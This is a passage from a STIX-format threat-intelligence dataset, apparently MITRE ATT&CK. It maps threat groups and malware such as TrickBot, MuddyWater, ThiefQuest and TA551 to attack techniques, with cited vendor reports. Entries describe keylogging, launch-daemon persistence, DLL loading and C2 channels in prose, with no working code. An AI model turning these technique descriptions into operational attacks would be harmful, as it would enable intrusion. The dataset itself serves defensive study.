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                    "description": "Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS \u2018TRICKBOOT\u2019: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021."
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            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can implant malicious code into a compromised device's firmware.(Citation: Eclypsium Trickboot December 2020)",
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                    "description": "Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS \u2018TRICKBOOT\u2019: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021."
                }
            ],
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                    "description": "Dormann, W. (2019, September 4). The Dangers of VHD and VHDX Files. Retrieved March 16, 2021."
                }
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            "created": "2021-03-16T14:45:10.473Z"
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            "relationship_type": "mitigates",
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            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "external_references": [
                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has exploited vulnerabilities in the VBoxDrv.sys driver to obtain kernel mode privileges.(Citation: Unit42 AcidBox June 2020)",
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            "modified": "2021-03-16T22:50:13.912Z",
            "created": "2021-03-16T22:50:13.912Z"
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                    "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html",
                    "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."
                },
                {
                    "source_name": "SecTools nbtscan June 2003",
                    "url": "https://sectools.org/tool/nbtscan/",
                    "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."
                }
            ],
            "description": "[NBTscan](https://attack.mitre.org/software/S0590) can dump and print whole packet content.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "external_references": [
                {
                    "source_name": "Debian nbtscan Nov 2019",
                    "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html",
                    "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."
                },
                {
                    "source_name": "SecTools nbtscan June 2003",
                    "url": "https://sectools.org/tool/nbtscan/",
                    "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."
                }
            ],
            "description": "[NBTscan](https://attack.mitre.org/software/S0590) can list NetBIOS computer names.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t",
            "relationship_type": "uses",
            "id": "relationship--be8fb0e9-a924-47be-9bb6-1eebe05881b7",
            "type": "relationship",
            "modified": "2021-04-24T20:45:08.560Z",
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            "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "Debian nbtscan Nov 2019",
                    "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html",
                    "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."
                },
                {
                    "source_name": "SecTools nbtscan June 2003",
                    "url": "https://sectools.org/tool/nbtscan/",
                    "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."
                }
            ],
            "description": "[NBTscan](https://attack.mitre.org/software/S0590) can list active users on the system.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t",
            "relationship_type": "uses",
            "id": "relationship--06711c3f-230b-4d44-9c88-4861c48d2716",
            "type": "relationship",
            "modified": "2021-03-17T15:54:31.036Z",
            "created": "2021-03-17T15:54:31.036Z"
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        {
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            "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "Debian nbtscan Nov 2019",
                    "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html",
                    "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."
                },
                {
                    "source_name": "SecTools nbtscan June 2003",
                    "url": "https://sectools.org/tool/nbtscan/",
                    "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."
                }
            ],
            "description": "[NBTscan](https://attack.mitre.org/software/S0590) can be used to collect MAC addresses.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t",
            "relationship_type": "uses",
            "id": "relationship--1f5655b0-7b7f-453c-9c2c-47a23fcc6222",
            "type": "relationship",
            "modified": "2021-03-17T15:54:31.045Z",
            "created": "2021-03-17T15:54:31.045Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "external_references": [
                {
                    "source_name": "Debian nbtscan Nov 2019",
                    "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html",
                    "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."
                },
                {
                    "source_name": "SecTools nbtscan June 2003",
                    "url": "https://sectools.org/tool/nbtscan/",
                    "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."
                }
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            ],
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                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
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            ],
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            ],
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                }
            ],
            "description": "[RemoteUtilities](https://attack.mitre.org/software/S0592) can upload and download files to and from a target machine.(Citation: Trend Micro Muddy Water March 2021)",
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                }
            ],
            "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can delete log files generated from the malware stored at <code>C:\\windows\\temp\\tmp0207</code>.(Citation: CISA EB Aug 2020)",
            "relationship_type": "uses",
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                }
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            "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) has encrypted strings with RC4.(Citation: CISA EB Aug 2020)",
            "relationship_type": "uses",
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                }
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            "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can capture screenshots and store them locally.(Citation: CISA EB Aug 2020)",
            "relationship_type": "uses",
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                }
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            "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can capture and store keystrokes.(Citation: CISA EB Aug 2020)",
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                }
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            "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) has stored keystrokes and screenshots within the <code>%temp%\\GoogleChrome</code>, <code>%temp%\\Downloads</code>, and <code>%temp%\\TrendMicroUpdate</code> directories.(Citation: CISA EB Aug 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "external_references": [
                {
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            ],
            "source_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[Out1](https://attack.mitre.org/software/S0594) can use native command line for execution.(Citation: Trend Micro Muddy Water March 2021)",
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            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[Out1](https://attack.mitre.org/software/S0594) can copy files and Registry data from compromised hosts.(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2021-04-25T23:34:23.759Z",
            "created": "2021-03-19T13:19:57.056Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[Out1](https://attack.mitre.org/software/S0594) can use HTTP and HTTPS in communications with remote hosts.(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--1e2a3e72-5d25-47fb-b0ff-e804073cc272",
            "type": "relationship",
            "modified": "2021-03-19T13:19:57.054Z",
            "created": "2021-03-19T13:19:57.054Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[Out1](https://attack.mitre.org/software/S0594) can parse e-mails on a target machine.(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--c69d17b1-c261-44c6-9da5-c310cf20f91b",
            "type": "relationship",
            "modified": "2021-04-25T23:34:23.757Z",
            "created": "2021-03-19T13:19:57.058Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[Out1](https://attack.mitre.org/software/S0594) has the ability to encode data.(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--28c56887-5dbb-4269-b783-8a7f8d4c9204",
            "type": "relationship",
            "modified": "2021-03-19T13:19:57.067Z",
            "created": "2021-03-19T13:19:57.067Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>tracert</code> to check internet connectivity.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--e0aaa143-5c5f-4c58-8ace-d05b037bf4b6",
            "type": "relationship",
            "modified": "2021-03-19T13:23:53.228Z",
            "created": "2021-03-19T13:23:53.228Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used developed tools in Python including [Out1](https://attack.mitre.org/software/S0594).(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--95dce028-9046-4bcf-a949-2a0bc40d5038",
            "type": "relationship",
            "modified": "2021-03-19T13:31:33.400Z",
            "created": "2021-03-19T13:27:51.792Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--3574efdf-c9f0-4515-806e-a9a5437be02a",
            "type": "relationship",
            "modified": "2021-03-19T13:27:52.117Z",
            "created": "2021-03-19T13:27:52.117Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has used GoldFinder to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--045d3fdf-933f-4c8c-ba69-f2e6f2126bd0",
            "type": "relationship",
            "modified": "2021-03-19T18:48:05.744Z",
            "created": "2021-03-19T13:30:05.980Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc",
            "external_references": [
                {
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "source_name": "Security Intelligence More Eggs Aug 2019"
                }
            ],
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used HTTP GET requests to check internet connectivity.(Citation: Security Intelligence More Eggs Aug 2019)",
            "relationship_type": "uses",
            "id": "relationship--04919717-aa68-4192-b095-c1607f8f6ead",
            "type": "relationship",
            "modified": "2021-03-19T17:16:25.206Z",
            "created": "2021-03-19T13:34:56.478Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a PowerShell backdoor to check for Skype connections on the target machine.(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--99cfee83-7db8-44c1-8fd8-75bc1c67d17c",
            "type": "relationship",
            "modified": "2021-03-19T13:38:12.533Z",
            "created": "2021-03-19T13:38:12.533Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "external_references": [
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a PowerShell backdoor to check for Skype connectivity on the target machine.(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--77c3f6a1-f25c-4669-bdc1-0f358793dd34",
            "type": "relationship",
            "modified": "2021-03-19T13:38:12.585Z",
            "created": "2021-03-19T13:38:12.585Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
                {
                    "source_name": "Trendmicro Evolving ThiefQuest 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/g/updates-on-quickly-evolving-thiefquest-macos-malware.html",
                    "description": "Gabrielle Joyce Mabutas, Luis Magisa, Steven Du. (2020, July 17). Updates on Quickly-Evolving ThiefQuest macOS Malware. Retrieved April 26, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses the <code>CGEventTap</code> functions to perform keylogging.(Citation: Trendmicro Evolving ThiefQuest 2020)",
            "relationship_type": "uses",
            "id": "relationship--438f9fb0-bf82-4c72-8fdf-0dbc39bcf4fc",
            "type": "relationship",
            "modified": "2021-04-26T20:02:14.275Z",
            "created": "2021-03-19T16:26:04.418Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "wardle evilquest parti",
                    "url": "https://objective-see.com/blog/blog_0x59.html",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) obtains a list of running processes using the function <code>kill_unwanted</code>.(Citation: wardle evilquest parti)",
            "relationship_type": "uses",
            "id": "relationship--c85af3d4-ab10-4c49-91c4-bff9054096b8",
            "type": "relationship",
            "modified": "2021-04-26T20:02:14.282Z",
            "created": "2021-03-19T16:26:04.440Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "source_name": "wardle evilquest parti",
                    "url": "https://objective-see.com/blog/blog_0x59.html",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) installs a launch item using an embedded encrypted launch agent property list template. The plist file is installed in the <code>~/Library/LaunchAgents/</code> folder and configured with the path to the persistent binary located in the <code>~/Library/</code> folder.(Citation: wardle evilquest parti)",
            "relationship_type": "uses",
            "id": "relationship--979bd2a9-bc77-4741-bc79-0badc9e1e98c",
            "type": "relationship",
            "modified": "2021-03-22T19:11:35.366Z",
            "created": "2021-03-19T16:26:04.435Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
            "external_references": [
                {
                    "source_name": "wardle evilquest parti",
                    "url": "https://objective-see.com/blog/blog_0x59.html",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."
                }
            ],
            "description": "When running with root privileges after a [Launch Agent](https://attack.mitre.org/techniques/T1543/001) is installed, [ThiefQuest](https://attack.mitre.org/software/S0595) installs a plist file to the <code>/Library/LaunchDaemons/</code> folder with the <code>RunAtLoad</code> key set to <code>true</code> establishing persistence as a Launch Daemon. (Citation: wardle evilquest parti)",
            "relationship_type": "uses",
            "id": "relationship--73798ada-f5a4-4029-ac0c-39bcae68df98",
            "type": "relationship",
            "modified": "2021-04-26T19:23:34.051Z",
            "created": "2021-03-19T19:59:30.368Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "external_references": [
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has masked malware DLLs as dat and jpg files.(Citation: Unit 42 TA551 Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--f2e075b3-1125-4259-bf0b-1ff90c738354",
            "type": "relationship",
            "modified": "2021-03-19T21:04:00.991Z",
            "created": "2021-03-19T21:04:00.991Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has used obfuscated variable names in a JavaScript configuration file.(Citation: Unit 42 Valak July 2020)",
            "relationship_type": "uses",
            "id": "relationship--9b222cfd-8b08-4843-8b08-32e2476aba36",
            "type": "relationship",
            "modified": "2021-03-19T21:04:00.988Z",
            "created": "2021-03-19T21:04:00.988Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has used encoded ASCII text for initial C2 communications.(Citation: Unit 42 Valak July 2020)",
            "relationship_type": "uses",
            "id": "relationship--6a4eafba-a7fb-46d1-8c50-033e1e3d7409",
            "type": "relationship",
            "modified": "2021-03-24T14:10:06.828Z",
            "created": "2021-03-19T21:04:00.997Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "external_references": [
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has used rundll32.exe to load malicious DLLs.(Citation: Unit 42 TA551 Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--58565141-69f5-45c4-a7a9-f3eec03f403b",
            "type": "relationship",
            "modified": "2021-03-19T21:04:01.008Z",
            "created": "2021-03-19T21:04:01.008Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "external_references": [
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has used regsvr32.exe to load malicious DLLs.(Citation: Unit 42 Valak July 2020)",
            "relationship_type": "uses",
            "id": "relationship--0af12d0f-ef9e-40e7-8b70-d811f412125d",
            "type": "relationship",
            "modified": "2021-03-19T21:04:01.003Z",
            "created": "2021-03-19T21:04:01.003Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                }
            ],
            "description": "[TA551](https://attack.mitre.org/groups/G0127) has used HTTP for C2 communications.(Citation: Unit 42 Valak July 2020)",
            "relationship_type": "uses",
            "id": "relationship--c1349223-f356-4e0d-8148-bda128354347",
            "type": "relationship",
            "modified": "2021-03-19T21:04:01.014Z",
            "created": "2021-03-19T21:04:01.014Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "external_references": [
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
                }
            ],
